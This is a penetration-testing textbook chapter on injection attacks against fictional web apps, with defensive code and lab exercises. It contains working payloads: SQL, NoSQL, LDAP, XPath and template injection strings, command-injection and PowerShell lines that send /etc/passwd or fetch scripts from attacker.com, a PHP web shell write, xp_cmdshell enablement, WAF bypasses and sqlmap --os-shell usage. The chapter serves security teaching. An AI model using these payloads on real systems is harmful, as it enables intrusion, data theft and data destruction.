> "Injection flaws, such as SQL injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing data without proper...
Learning Objectives
- Understand how injection vulnerabilities arise from mixing user data with interpreter commands
- Perform UNION-based, error-based, blind, and time-based SQL injection attacks
- Exploit NoSQL injection in MongoDB-based applications
- Identify and exploit OS command injection vulnerabilities
- Perform LDAP, XPath, and server-side template injection attacks
- Use sqlmap and Commix for automated injection testing
- Implement comprehensive defenses against all injection classes
In This Chapter
- 19.1 Injection Theory: Where User Input Meets Interpreters
- 19.2 SQL Injection Fundamentals
- 19.3 Advanced SQL Injection Techniques
- 19.4 NoSQL Injection
- 19.5 Command Injection
- 19.6 LDAP Injection
- 19.7 XPath Injection
- 19.8 Server-Side Template Injection (SSTI)
- 19.9 Automated Injection Tools
- 19.10 Comprehensive Defense Strategy
- 19.11 Testing Injection in MedSecure
- 19.12 Lab Exercises: Injection Practice
- 19.13 Summary
- Chapter 19 References
Chapter 19: Injection Attacks
"Injection flaws, such as SQL injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization." --- OWASP Top 10
Injection attacks are the most consequential class of web application vulnerability. While they have dropped from the number one position on the OWASP Top 10 to number three in the 2021 edition---a testament to improved framework defaults and developer awareness---they remain responsible for some of the largest data breaches in history. The 2008 Heartland Payment Systems breach exposed 130 million credit card numbers through a single SQL injection vulnerability. The 2015 TalkTalk breach compromised 157,000 customer records. SQL injection alone has been a contributing factor in breaches totaling billions of dollars in damages.
The reason injection attacks are so dangerous is architectural: they exploit the fundamental design decision to construct interpreter commands from user-supplied data. When a web application builds a SQL query by concatenating user input, it is asking the database to treat that input as part of the query language itself. When the application passes user input to a system shell, it is granting the user access to OS commands. The interpreter cannot distinguish between the developer's intended command structure and the attacker's injected code---because at the protocol level, they are identical.
This chapter covers every major injection class you will encounter during web application penetration testing. We begin with SQL injection in all its forms---from the straightforward UNION-based attack to the subtle art of blind injection. We progress to NoSQL injection, which exploits the different but equally dangerous query mechanisms of document databases. We examine OS command injection, where the stakes escalate from data theft to complete server compromise. We conclude with LDAP, XPath, and server-side template injection---less common but no less dangerous when found. Throughout, we apply each technique to ShopStack, MedSecure, and your home lab environments, and we provide the blue team perspective on comprehensive defense.
Legal and Ethical Notice: Every technique in this chapter can cause significant harm if misused. SQL injection can destroy entire databases. Command injection can compromise servers. Perform these attacks only against systems you own or have explicit written authorization to test. Your home lab (DVWA, Juice Shop) is the appropriate environment for practice.
19.1 Injection Theory: Where User Input Meets Interpreters
19.1.1 The Root Cause
All injection vulnerabilities share a single root cause: the application fails to maintain a boundary between data and code when interacting with an interpreter.
An interpreter is any system that receives a string of instructions and executes them. Common interpreters in web applications include:
| Interpreter | Language | Injection Type |
|---|---|---|
| SQL database engine | SQL | SQL injection |
| MongoDB query engine | JSON/JavaScript | NoSQL injection |
| Operating system shell | Bash/cmd/PowerShell | Command injection |
| LDAP directory server | LDAP filter syntax | LDAP injection |
| XML processor | XPath/XQuery | XPath injection |
| Template engine | Jinja2/Twig/Freemarker | Template injection |
| Email server | SMTP commands | Email header injection |
| Log processor | Log format | Log injection |
In every case, the vulnerability arises when the application constructs an interpreter command by concatenating or interpolating user-supplied data directly into the command string.
19.1.2 The Injection Lifecycle
Every injection attack follows the same lifecycle:
- Entry Point Identification: Find where user input reaches an interpreter
- Syntax Probing: Determine the interpreter's syntax and how input is embedded
- Boundary Breaking: Craft input that breaks out of the intended data context
- Payload Delivery: Inject commands that the interpreter will execute
- Result Extraction: Retrieve the output of injected commands
19.1.3 Identifying Injection Points in ShopStack
ShopStack's API endpoints accept user input through multiple channels:
# Query parameters
GET /api/v2/products?search=laptop&category=electronics&sort=price
# Path parameters
GET /api/v2/products/42
GET /api/v2/orders/ORD-2026-001
# Request body (JSON)
POST /api/v2/auth/login
{"username": "admin@shopstack.com", "password": "P@ssw0rd123"}
# Request body (form)
POST /api/v2/products/42/reviews
Content-Type: application/x-www-form-urlencoded
title=Great+product&rating=5&body=I+love+this+item
# HTTP headers
Cookie: session=eyJhbGciOiJIUzI1NiJ9...
X-Forwarded-For: 192.168.1.100
Referer: https://shopstack.example.com/products/42
# File upload names
POST /api/v2/products/42/images
Content-Disposition: form-data; name="image"; filename="product.jpg"
Each of these input channels could reach an interpreter. The search parameter reaches the SQL database. The filename might reach the OS file system. JSON body parameters could reach a NoSQL database. Headers might be written to logs.
19.1.4 Injection Indicators
During testing, certain responses indicate potential injection vulnerabilities:
| Indicator | Meaning |
|---|---|
| Database error message in response | Input reached SQL interpreter |
Different response for ' vs '' |
Application is SQL injectable |
| 500 error on special characters | Input parsing failure at interpreter |
Behavior change with ; sleep 5 |
Command injection possible |
Different results for 1 OR 1=1 vs 1 OR 1=2 |
Boolean-based blind injection |
Response time difference for SLEEP(5) |
Time-based blind injection |
19.2 SQL Injection Fundamentals
SQL injection (SQLi) is the most studied and most exploited injection type. Despite decades of awareness, it continues to appear in modern applications because developers still construct SQL queries with string concatenation.
19.2.1 Basic SQL Injection
Vulnerable Code in ShopStack:
// VULNERABLE: String concatenation in SQL query
app.get('/api/v2/products', async (req, res) => {
const search = req.query.search;
const sql = `SELECT id, name, price, description FROM products
WHERE name LIKE '%${search}%' AND active = true`;
const results = await db.query(sql);
res.json(results.rows);
});
Normal Request:
GET /api/v2/products?search=laptop
Resulting SQL:
SELECT id, name, price, description FROM products
WHERE name LIKE '%laptop%' AND active = true
Attack: Authentication Bypass
For a login form:
// VULNERABLE login query
const sql = `SELECT * FROM users WHERE username='${username}' AND password='${password}'`;
Input: username = admin' --, password = anything
SELECT * FROM users WHERE username='admin' --' AND password='anything'
The -- comments out the rest of the query, bypassing the password check entirely. The application sees a valid user row returned and grants access.
Attack: Data Extraction via Tautology
Input: search = ' OR '1'='1
SELECT id, name, price, description FROM products
WHERE name LIKE '%' OR '1'='1%' AND active = true
This returns all products, including inactive ones, because '1'='1' is always true.
19.2.2 UNION-Based SQL Injection
UNION-based SQLi is the most powerful form when it works, because it allows direct extraction of arbitrary data from any table in the database.
Requirements for UNION: 1. The UNION query must have the same number of columns as the original query 2. The data types must be compatible (or use NULL) 3. The results must be visible in the response
Step 1: Determine Column Count
Use ORDER BY to find the number of columns:
GET /api/v2/products?search=' ORDER BY 1-- -
GET /api/v2/products?search=' ORDER BY 2-- -
GET /api/v2/products?search=' ORDER BY 3-- -
GET /api/v2/products?search=' ORDER BY 4-- - (works)
GET /api/v2/products?search=' ORDER BY 5-- - (error!)
The original query has 4 columns (id, name, price, description).
Step 2: Find Displayable Columns
GET /api/v2/products?search=' UNION SELECT NULL,'test2',NULL,'test4'-- -
If "test2" and "test4" appear in the response, columns 2 and 4 display string data.
Step 3: Extract Database Information
# Database version
GET /api/v2/products?search=' UNION SELECT NULL,version(),NULL,current_database()-- -
# List all tables
GET /api/v2/products?search=' UNION SELECT NULL,table_name,NULL,table_schema FROM information_schema.tables WHERE table_schema='public'-- -
# List columns in users table
GET /api/v2/products?search=' UNION SELECT NULL,column_name,NULL,data_type FROM information_schema.columns WHERE table_name='users'-- -
# Extract user credentials
GET /api/v2/products?search=' UNION SELECT NULL,username,NULL,password_hash FROM users-- -
Step 4: Concatenate Multiple Columns
When you need more data than available display columns:
# PostgreSQL string concatenation
GET /api/v2/products?search=' UNION SELECT NULL,username||':'||email,NULL,role||':'||created_at FROM users-- -
19.2.3 Error-Based SQL Injection
When UNION-based extraction is not possible (results are not displayed), you can force the database to leak information through error messages.
PostgreSQL Error-Based:
# Extract version via error
GET /api/v2/products?search=' AND 1=CAST((SELECT version()) AS int)-- -
Response:
ERROR: invalid input syntax for type integer: "PostgreSQL 15.4 on x86_64-pc-linux-gnu"
MySQL Error-Based (extractvalue):
' AND extractvalue(1,concat(0x7e,(SELECT @@version),0x7e))-- -
MSSQL Error-Based:
' AND 1=CONVERT(int,(SELECT @@version))-- -
19.2.4 Blind SQL Injection (Boolean-Based)
When the application returns no visible data or error messages, but its behavior changes based on query truth value, you can extract data one bit at a time.
The Concept:
The application responds differently for true vs. false conditions:
# TRUE condition - returns normal results
GET /api/v2/products?search=laptop' AND 1=1-- -
# FALSE condition - returns empty results
GET /api/v2/products?search=laptop' AND 1=2-- -
If these responses differ, you can ask true/false questions about the database:
Extract Data Character by Character:
# Is the first character of the admin password hash > 'm'?
GET /api/v2/products?search=laptop' AND (SELECT SUBSTRING(password_hash,1,1) FROM users WHERE username='admin') > 'm'-- -
# Binary search to narrow down each character
# Is it > 's'? > 'p'? > 'n'? etc.
Automated Boolean Extraction Script Logic:
# Pseudocode for blind extraction
extracted = ""
for position in range(1, max_length + 1):
low, high = 32, 126 # Printable ASCII range
while low < high:
mid = (low + high) // 2
# Inject: AND ASCII(SUBSTRING(target,position,1)) > mid
if response_indicates_true():
low = mid + 1
else:
high = mid
extracted += chr(low)
This is tedious manually but highly effective when automated. Each character requires approximately 7 requests (log2(94) printable ASCII characters).
19.2.5 Blind SQL Injection (Time-Based)
When the application returns identical responses for true and false conditions (no visible difference in content, status code, or length), you can use time delays:
PostgreSQL:
# If condition is true, sleep 5 seconds
GET /api/v2/products?search=laptop'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END-- -
MySQL:
GET /api/v2/products?search=laptop' AND IF(1=1,SLEEP(5),0)-- -
MSSQL:
GET /api/v2/products?search=laptop'; IF (1=1) WAITFOR DELAY '0:0:5'-- -
Extract Data via Timing:
# Is the first character of admin's password hash 'a'?
GET /api/v2/products?search=laptop' AND IF(
SUBSTRING((SELECT password_hash FROM users WHERE username='admin'),1,1)='a',
SLEEP(5),
0
)-- -
If the response takes 5+ seconds, the condition is true.
Testing Tip: Time-based injection is noisy and slow. Use it as a last resort to confirm injection exists, then try to escalate to error-based or UNION-based techniques. When stuck with time-based, use sqlmap to automate extraction.
19.2.6 Out-of-Band (OOB) SQL Injection
When neither the response content nor timing reveals information, you can make the database send data to an attacker-controlled server:
PostgreSQL:
-- Use COPY or dblink to make external connections
' ; COPY (SELECT password_hash FROM users) TO PROGRAM 'curl http://attacker.com/exfil?data='||password_hash-- -
MySQL:
-- Use LOAD_FILE and INTO OUTFILE
' UNION SELECT LOAD_FILE(CONCAT('\\\\attacker.com\\share\\',@@version))-- -
MSSQL:
-- Use xp_dirtree for DNS exfiltration
'; EXEC master..xp_dirtree '\\attacker.com\share'-- -
OOB techniques require the database server to make external connections, which firewalls may block. They are particularly useful in scenarios where the application is completely silent about query results.
19.2.7 Second-Order SQL Injection
Second-order injection occurs when malicious input is stored safely but later used unsafely in a different query.
Scenario in ShopStack:
- User registers with username:
admin'-- - - Registration query uses parameterized query (safe):
sql INSERT INTO users (username, password_hash) VALUES ($1, $2) - Later, a different feature builds a query using the stored username:
javascript // Profile lookup uses string concatenation (VULNERABLE) const sql = `SELECT * FROM user_profiles WHERE username='${user.username}'`; - The stored malicious username breaks the second query:
sql SELECT * FROM user_profiles WHERE username='admin'-- -'
Second-order injection is harder to find with automated scanners because the injection point and the execution point are different.
19.3 Advanced SQL Injection Techniques
19.3.1 Stacked Queries
Some database drivers allow multiple SQL statements separated by semicolons:
GET /api/v2/products?search=laptop'; DROP TABLE users;-- -
Database Support:
| Database | Stacked Queries | Notes |
|---|---|---|
| PostgreSQL | Yes (with most drivers) | Full support |
| MySQL | Depends on driver | mysqli_multi_query enables it |
| MSSQL | Yes | Full support |
| SQLite | Yes | Full support |
| Oracle | No | Does not support in most contexts |
Stacked queries escalate injection from data theft to data destruction or even command execution (via database-specific features like xp_cmdshell in MSSQL or COPY TO PROGRAM in PostgreSQL).
19.3.2 Reading and Writing Files
PostgreSQL:
-- Read files
' UNION SELECT NULL,pg_read_file('/etc/passwd'),NULL,NULL-- -
-- Write files (requires superuser)
' ; COPY (SELECT 'web shell content') TO '/var/www/html/shell.php'-- -
MySQL:
-- Read files
' UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL,NULL-- -
-- Write files
' UNION SELECT NULL,'<?php system($_GET["cmd"]); ?>',NULL,NULL INTO OUTFILE '/var/www/html/shell.php'-- -
19.3.3 Command Execution via SQL
PostgreSQL:
-- Using COPY TO PROGRAM (PostgreSQL 9.3+)
'; COPY cmd_output FROM PROGRAM 'id'-- -
-- Using PL/Python (if extension installed)
'; CREATE OR REPLACE FUNCTION cmd(text) RETURNS text AS $$
import subprocess
return subprocess.check_output(args, shell=True).decode()
$$ LANGUAGE plpython3u;
SELECT cmd('id');-- -
MSSQL:
-- Enable and use xp_cmdshell
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;-- -
'; EXEC xp_cmdshell 'whoami'-- -
19.3.4 WAF Bypass Techniques for SQLi
When a WAF blocks common SQLi patterns:
Case Manipulation:
SeLeCt instead of SELECT
uNiOn instead of UNION
Comment Insertion:
UN/**/ION SEL/**/ECT
UN%69ON SE%4CECT -- URL encoding
Alternative Encodings:
%27 for '
%2527 for double-encoded '
char(39) for ' in SQL context
Alternative Functions:
-- Instead of SUBSTRING:
MID(password,1,1)
LEFT(password,1)
RIGHT(LEFT(password,1),1)
-- Instead of ASCII:
ORD(MID(password,1,1))
-- Instead of spaces:
SELECT/**/username/**/FROM/**/users
SELECT%09username%09FROM%09users (tab characters)
No-Quote Techniques:
-- Using hex encoding for strings
SELECT * FROM users WHERE username=0x61646D696E -- 'admin' in hex
19.4 NoSQL Injection
As applications adopt NoSQL databases like MongoDB, a new class of injection has emerged. NoSQL injection exploits the query syntax of document databases.
19.4.1 MongoDB Injection Basics
ShopStack might use MongoDB for its product catalog or user session store. MongoDB queries use JSON-like objects:
// Normal MongoDB query
db.users.find({ username: "admin", password: "P@ssw0rd" });
Vulnerable Code:
// Express route using user input directly in MongoDB query
app.post('/api/v2/auth/login', async (req, res) => {
const user = await db.collection('users').findOne({
username: req.body.username,
password: req.body.password
});
if (user) {
res.json({ success: true, token: generateToken(user) });
} else {
res.status(401).json({ success: false });
}
});
Attack: Authentication Bypass via Operator Injection
Instead of sending a string password, send a MongoDB operator:
{
"username": "admin",
"password": {"$ne": ""}
}
This translates to:
db.users.find({ username: "admin", password: { $ne: "" } });
The $ne (not equal) operator matches any non-empty password, bypassing authentication.
Other Useful Operators:
| Operator | Meaning | Attack Use |
|---|---|---|
$ne |
Not equal | Bypass equality checks |
$gt |
Greater than | Bypass string comparisons |
$regex |
Regular expression | Extract data character by character |
$exists |
Field exists | Enumerate fields |
$where |
JavaScript expression | Execute arbitrary JavaScript |
$or |
Logical OR | Bypass conditions |
19.4.2 NoSQL Injection for Data Extraction
Using $regex for Blind Extraction:
{
"username": "admin",
"password": {"$regex": "^a"}
}
If login succeeds, the password starts with 'a'. Iterate through characters:
{"password": {"$regex": "^a"}} -> success? Yes
{"password": {"$regex": "^ab"}} -> success? No
{"password": {"$regex": "^ac"}} -> success? Yes
{"password": {"$regex": "^ac1"}} -> success? Yes
// Continue until full password extracted
19.4.3 JavaScript Injection via $where
The $where operator executes JavaScript on the server:
{
"username": {"$where": "this.username == 'admin' && sleep(5000)"}
}
Or more dangerously:
{
"$where": "function() { return this.role == 'admin'; }"
}
This can be used for time-based blind data extraction or, in severe cases, remote code execution if the MongoDB server allows it.
19.4.4 Defending Against NoSQL Injection
// SECURE: Validate input types before querying
app.post('/api/v2/auth/login', async (req, res) => {
// Ensure inputs are strings, not objects
if (typeof req.body.username !== 'string' || typeof req.body.password !== 'string') {
return res.status(400).json({ error: 'Invalid input type' });
}
// Use sanitized string inputs
const user = await db.collection('users').findOne({
username: req.body.username,
password_hash: await bcrypt.hash(req.body.password, storedSalt)
});
// ...
});
Additionally, use mongo-sanitize middleware to strip $ operators from user input:
const sanitize = require('mongo-sanitize');
app.use((req, res, next) => {
req.body = sanitize(req.body);
req.query = sanitize(req.query);
next();
});
19.5 Command Injection
Command injection occurs when user input is passed to an operating system shell. The consequences are immediately severe: the attacker can execute arbitrary commands with the privileges of the web application process.
19.5.1 How Command Injection Occurs
Vulnerable ShopStack Feature: PDF Invoice Generation
// VULNERABLE: User input passed to shell command
app.get('/api/v2/orders/:id/invoice', async (req, res) => {
const orderId = req.params.id;
const cmd = `wkhtmltopdf https://shopstack.example.com/invoice/${orderId} /tmp/invoice-${orderId}.pdf`;
exec(cmd, (error, stdout, stderr) => {
if (error) {
return res.status(500).json({ error: 'PDF generation failed' });
}
res.download(`/tmp/invoice-${orderId}.pdf`);
});
});
Attack:
GET /api/v2/orders/123;id;cat+/etc/passwd/invoice
The shell executes:
wkhtmltopdf https://shopstack.example.com/invoice/123;id;cat /etc/passwd /tmp/invoice-123;id;cat /etc/passwd.pdf
The semicolons create three separate commands: the original wkhtmltopdf, then id, then cat /etc/passwd.
19.5.2 Command Injection Operators
Different shell metacharacters allow command chaining:
| Operator | Behavior | Example |
|---|---|---|
; |
Execute sequentially | cmd1; cmd2 |
&& |
Execute if first succeeds | cmd1 && cmd2 |
\|\| |
Execute if first fails | cmd1 \|\| cmd2 |
\| |
Pipe output | cmd1 \| cmd2 |
` |
Command substitution | cmd1 `cmd2` |
$()` | Command substitution | `cmd1 $(cmd2) |
||
\n |
Newline (URL: %0a) | cmd1%0acmd2 |
> |
Redirect output | cmd > /tmp/output |
19.5.3 Blind Command Injection
When command output is not returned in the response:
Time-Based Detection:
GET /api/v2/orders/123;sleep+5/invoice
If the response takes 5+ seconds longer than normal, command injection exists.
Out-of-Band Data Exfiltration:
# DNS exfiltration
GET /api/v2/orders/123;nslookup+$(whoami).attacker.com/invoice
# HTTP exfiltration
GET /api/v2/orders/123;curl+http://attacker.com/exfil?data=$(cat+/etc/passwd|base64)/invoice
File-Based Exfiltration:
# Write output to web-accessible directory
GET /api/v2/orders/123;id+>+/var/www/html/static/output.txt/invoice
# Then retrieve: GET /static/output.txt
19.5.4 Windows Command Injection
On Windows targets, the syntax differs:
| Operator | Behavior |
|---|---|
& |
Execute sequentially |
&& |
Execute if first succeeds |
\|\| |
Execute if first fails |
\| |
Pipe output |
` |
Not available (use PowerShell) |
Windows-Specific Payloads:
# Test for injection
ping+-n+5+127.0.0.1
# Read files
type+C:\Windows\System32\drivers\etc\hosts
# PowerShell execution
powershell+-c+"Invoke-WebRequest+http://attacker.com/shell.ps1+|+IEX"
19.5.5 Defending Against Command Injection
Best Defense: Avoid Shell Commands Entirely
// SECURE: Use library functions instead of shell commands
const wkhtmltopdf = require('wkhtmltopdf');
app.get('/api/v2/orders/:id/invoice', async (req, res) => {
// Validate orderId is numeric
const orderId = parseInt(req.params.id, 10);
if (isNaN(orderId) || orderId < 1) {
return res.status(400).json({ error: 'Invalid order ID' });
}
// Use library API, not shell command
wkhtmltopdf(`https://shopstack.example.com/invoice/${orderId}`)
.pipe(res);
});
If Shell Commands Are Unavoidable:
const { execFile } = require('child_process');
// execFile does NOT invoke a shell; arguments are passed directly
execFile('wkhtmltopdf', [
`https://shopstack.example.com/invoice/${orderId}`,
`/tmp/invoice-${orderId}.pdf`
], (error, stdout, stderr) => {
// ...
});
execFile passes arguments as an array directly to the executable, bypassing the shell entirely. Shell metacharacters have no special meaning.
19.6 LDAP Injection
LDAP (Lightweight Directory Access Protocol) is used for directory services, commonly Active Directory. Web applications that authenticate against LDAP or search directory services may be vulnerable.
19.6.1 LDAP Query Syntax
LDAP filters use prefix notation with parentheses:
(&(username=admin)(password=secret))
19.6.2 LDAP Injection Attacks
Vulnerable Code:
# VULNERABLE: User input in LDAP filter
ldap_filter = f"(&(uid={username})(userPassword={password}))"
result = ldap_conn.search_s(base_dn, ldap.SCOPE_SUBTREE, ldap_filter)
Authentication Bypass:
username: admin)(&)
password: anything
Resulting filter:
(&(uid=admin)(&))(userPassword=anything))
The (&) always evaluates to true, and LDAP processes only the first complete filter, ignoring the password check.
Wildcard Enumeration:
username: *
password: *
Returns all users in the directory.
Character-by-Character Extraction:
username: admin)(uid=a*
# If login succeeds, admin's uid starts with 'a'
19.6.3 Defending Against LDAP Injection
import ldap
from ldap.filter import escape_filter_chars
# SECURE: Escape special characters in LDAP filter values
safe_username = escape_filter_chars(username)
safe_password = escape_filter_chars(password)
ldap_filter = f"(&(uid={safe_username})(userPassword={safe_password}))"
Special characters that must be escaped: *, (, ), \, NUL.
19.7 XPath Injection
XPath is a query language for XML documents. Applications that store data in XML or process XML responses may use XPath queries.
19.7.1 XPath Injection Basics
Vulnerable Code:
# XML user database
# <users>
# <user><name>admin</name><pass>secret</pass><role>admin</role></user>
# <user><name>user1</name><pass>pass123</pass><role>user</role></user>
# </users>
xpath_query = f"//users/user[name='{username}' and pass='{password}']"
result = xml_tree.xpath(xpath_query)
Authentication Bypass:
username: admin' or '1'='1
password: anything' or '1'='1
Resulting query:
//users/user[name='admin' or '1'='1' and pass='anything' or '1'='1']
This matches all user nodes.
Data Extraction: XPath can navigate the entire XML document:
username: admin'] | //user/pass | //user['
19.7.2 Blind XPath Injection
Similar to blind SQLi, extract data character by character:
' or substring(//user[1]/pass, 1, 1)='s' or '1'='2
If the query returns results, the first character of the first user's password is 's'.
19.8 Server-Side Template Injection (SSTI)
Server-side template injection occurs when user input is embedded in a template engine and processed as template code rather than data.
19.8.1 Template Engines and SSTI
Common template engines:
| Language | Engine | SSTI Probe |
|---|---|---|
| Python | Jinja2 | {{7*7}} returns 49 |
| Python | Mako | ${7*7} returns 49 |
| Java | Freemarker | ${7*7} returns 49 |
| Java | Velocity | #set($x=7*7)${x} returns 49 |
| JavaScript | Pug/Jade | #{7*7} returns 49 |
| JavaScript | Handlebars | {{7*7}} returns 49 (limited) |
| PHP | Twig | {{7*7}} returns 49 |
| Ruby | ERB | <%= 7*7 %> returns 49 |
19.8.2 SSTI Detection
Step 1: Probe for Template Processing
Submit mathematical expressions in template syntax:
GET /api/v2/products?search={{7*7}}
If the response contains 49, the application processes template expressions.
Step 2: Identify the Template Engine
Use engine-specific probes:
{{7*'7'}}
-> Jinja2 returns '7777777' (string multiplication)
-> Twig returns '49' (arithmetic)
19.8.3 SSTI Exploitation
Jinja2 Remote Code Execution:
# Access Python classes to reach os.system
{{''.__class__.__mro__[1].__subclasses__()}}
# Find subprocess.Popen in the subclass list (index varies)
{{''.__class__.__mro__[1].__subclasses__()[407]('id',shell=True,stdout=-1).communicate()}}
# Common payload
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Twig (PHP) Remote Code Execution:
{{['id']|filter('system')}}
Freemarker (Java) Remote Code Execution:
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
19.8.4 Defending Against SSTI
# VULNERABLE: User input rendered as template
template = Template(f"Hello {user_input}!")
# SECURE: Pass user input as template variable
template = Template("Hello {{ name }}!")
result = template.render(name=user_input)
The secure approach ensures user input is always treated as data, never as template code. Additionally, use sandboxed template environments where available (e.g., Jinja2's SandboxedEnvironment).
19.9 Automated Injection Tools
19.9.1 sqlmap
sqlmap is the most powerful automated SQL injection tool available. It detects and exploits SQL injection flaws with minimal configuration.
Basic Usage:
# Test a URL parameter
sqlmap -u "https://shopstack.example.com/api/v2/products?search=test" \
--cookie="session=eyJhbGciOiJIUzI1NiJ9..." \
--level=3 --risk=2
# Enumerate databases
sqlmap -u "https://shopstack.example.com/api/v2/products?search=test" \
--dbs
# Dump specific table
sqlmap -u "https://shopstack.example.com/api/v2/products?search=test" \
-D shopstack -T users --dump
# OS shell (if database supports it)
sqlmap -u "https://shopstack.example.com/api/v2/products?search=test" \
--os-shell
Key sqlmap Options:
| Option | Purpose |
|---|---|
--level |
Test thoroughness (1-5, default 1) |
--risk |
Risk of causing damage (1-3, default 1) |
--technique |
Injection techniques: B(oolean), E(rror), U(nion), S(tacked), T(ime), Q(uery) |
--dbs |
Enumerate databases |
--tables |
Enumerate tables |
--columns |
Enumerate columns |
--dump |
Dump table data |
--os-shell |
Spawn an OS shell |
--batch |
Non-interactive mode (use defaults) |
--tamper |
Use tamper scripts for WAF bypass |
--proxy |
Route through Burp for inspection |
--random-agent |
Randomize User-Agent header |
sqlmap with Burp Integration:
# Save a Burp request to file, then use it with sqlmap
sqlmap -r burp-request.txt --level=3 --risk=2
# Route sqlmap through Burp for monitoring
sqlmap -u "https://target.com/page?id=1" --proxy="http://127.0.0.1:8080"
sqlmap Tamper Scripts for WAF Bypass:
# Space to comment bypass
sqlmap -u "https://target.com/page?id=1" --tamper=space2comment
# Multiple tamper scripts
sqlmap -u "https://target.com/page?id=1" \
--tamper=space2comment,between,randomcase,charencode
19.9.2 Commix (Command Injection Exploiter)
Commix automates the detection and exploitation of command injection vulnerabilities:
# Basic test
commix --url="https://shopstack.example.com/api/v2/orders/123/invoice"
# Test specific parameter
commix --url="https://target.com/page" --data="host=127.0.0.1" -p host
# Get a pseudo-terminal shell
commix --url="https://target.com/page?host=127.0.0.1" --os-cmd="id"
19.9.3 Responsible Tool Usage
Critical Ethical Consideration: Automated tools like sqlmap and Commix can cause significant damage. sqlmap with stacked queries enabled might DROP tables. Commix might execute destructive commands. Always: 1. Use
--risk=1initially and escalate only if needed 2. Never use--os-shellor--os-cmdon production systems without explicit authorization 3. Test against your lab environment first 4. Understand what each flag does before using it 5. Monitor tool activity through Burp to understand what it is sending
19.10 Comprehensive Defense Strategy
Blue Team Perspective: Defending against injection requires a layered approach. No single technique is sufficient.
Layer 1: Input Validation
- Allowlist acceptable input patterns
- Validate data types, lengths, and ranges
- Reject input that does not match expected patterns
Layer 2: Parameterized Queries / Safe APIs
- Use parameterized queries for ALL database interactions
- Use ORM frameworks with parameterized query support
- Use
execFileinstead ofexecfor system commands - Use template variables instead of template string concatenation
Layer 3: Least Privilege
- Database accounts should have minimum necessary permissions
- Application should never run as database admin
- Disable dangerous database features (xp_cmdshell, LOAD_FILE)
- Web application process should run as a low-privilege user
Layer 4: Web Application Firewall
- Deploy WAF rules for common injection patterns
- Use managed rule sets (AWS WAF Core Rule Set, ModSecurity CRS)
- Monitor and tune rules based on blocked requests
Layer 5: Monitoring and Detection
- Log all database queries (or at least errors)
- Alert on SQL error messages in responses
- Monitor for unusual query patterns (UNION, information_schema)
- Track response time anomalies (time-based injection)
ShopStack Secure Implementation:
const { body, param, query, validationResult } = require('express-validator');
const { Pool } = require('pg');
const pool = new Pool({
user: 'shopstack_readonly', // Least privilege
// ...
});
app.get('/api/v2/products',
// Layer 1: Input validation
query('search').isString().trim().isLength({ min: 1, max: 100 })
.matches(/^[a-zA-Z0-9\s\-]+$/),
query('page').optional().isInt({ min: 1, max: 1000 }),
query('limit').optional().isInt({ min: 1, max: 100 }),
async (req, res) => {
// Validate
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
// Layer 2: Parameterized query
const { rows } = await pool.query(
'SELECT id, name, price, description FROM products WHERE name ILIKE $1 AND active = true ORDER BY name LIMIT $2 OFFSET $3',
[`%${req.query.search}%`, req.query.limit || 20, ((req.query.page || 1) - 1) * (req.query.limit || 20)]
);
res.json(rows);
}
);
19.11 Testing Injection in MedSecure
The MedSecure patient portal presents heightened injection risk due to data sensitivity:
Critical Injection Points: 1. Patient Search: Searching by name, ID, or date of birth---potential SQLi 2. Lab Results Query: Filtering by date range, test type---potential SQLi 3. Report Generation: PDF report generation---potential command injection 4. FHIR API: XML-based healthcare data exchange---potential XPath/XXE 5. Audit Log Query: Searching audit logs by date, user, action---potential SQLi
Impact Assessment: - SQL injection in patient search could expose Protected Health Information (PHI) for all patients - Command injection in report generation could compromise the entire server - LDAP injection against Active Directory could expose all staff credentials
Testing Approach: 1. Map all input points with Burp Suite 2. Test each point with injection probes 3. Document any vulnerability with minimal data exposure 4. Report immediately given HIPAA implications
19.12 Lab Exercises: Injection Practice
Home Lab Setup
DVWA SQL Injection:
1. Navigate to DVWA > SQL Injection
2. Set security to "Low"
3. Enter 1' OR '1'='1 in the User ID field
4. Observe all users returned
5. Perform UNION-based extraction of the users table
6. Increase security to "Medium" and "High" and adapt techniques
Juice Shop NoSQL Injection: 1. Navigate to the login page 2. Intercept the login request with Burp 3. Change the request body to include MongoDB operators 4. Attempt authentication bypass
Custom Lab: Command Injection
Use the provided example-02-command-injection-demo.py Flask application:
1. Run the application locally
2. Test the vulnerable endpoint with shell metacharacters
3. Achieve command execution
4. Switch to the secure endpoint and verify the fix
19.13 Summary
Injection attacks exploit the most fundamental weakness in web application design: the failure to separate user data from interpreter commands. Every injection type---SQL, NoSQL, command, LDAP, XPath, template---follows the same pattern: user input crosses a trust boundary and is treated as code by an interpreter.
Key Takeaways:
- SQL injection remains the most impactful injection type, with techniques ranging from simple UNION-based extraction to sophisticated blind and out-of-band methods.
- NoSQL injection exploits the query operator syntax of document databases like MongoDB. Always validate input types, not just values.
- Command injection escalates immediately to server compromise. Never pass user input to shell commands; use safe APIs instead.
- SSTI, LDAP, and XPath injection are less common but equally dangerous when found. Always probe for template processing and directory service injection.
- Defense is layered: Input validation, parameterized queries, least privilege, WAF, and monitoring must all work together.
- Automated tools (sqlmap, Commix) are powerful but must be used responsibly. Understand what they do before deploying them against any target.
In Chapter 20, we move to the client side with cross-site scripting (XSS) and related attacks. While injection attacks target the server, XSS targets other users---making it the perfect complement to the server-side techniques you have just learned.
Chapter 19 References
- OWASP Foundation. "SQL Injection." https://owasp.org/www-community/attacks/SQL_Injection
- Clarke, J. SQL Injection Attacks and Defense, 2nd Edition. Syngress, 2012.
- PortSwigger. "SQL Injection Cheat Sheet." https://portswigger.net/web-security/sql-injection/cheat-sheet
- sqlmap Project. "sqlmap Documentation." https://sqlmap.org/
- OWASP Foundation. "Testing for NoSQL Injection." https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection
- Commix Project. "Commix Documentation." https://commixproject.com/
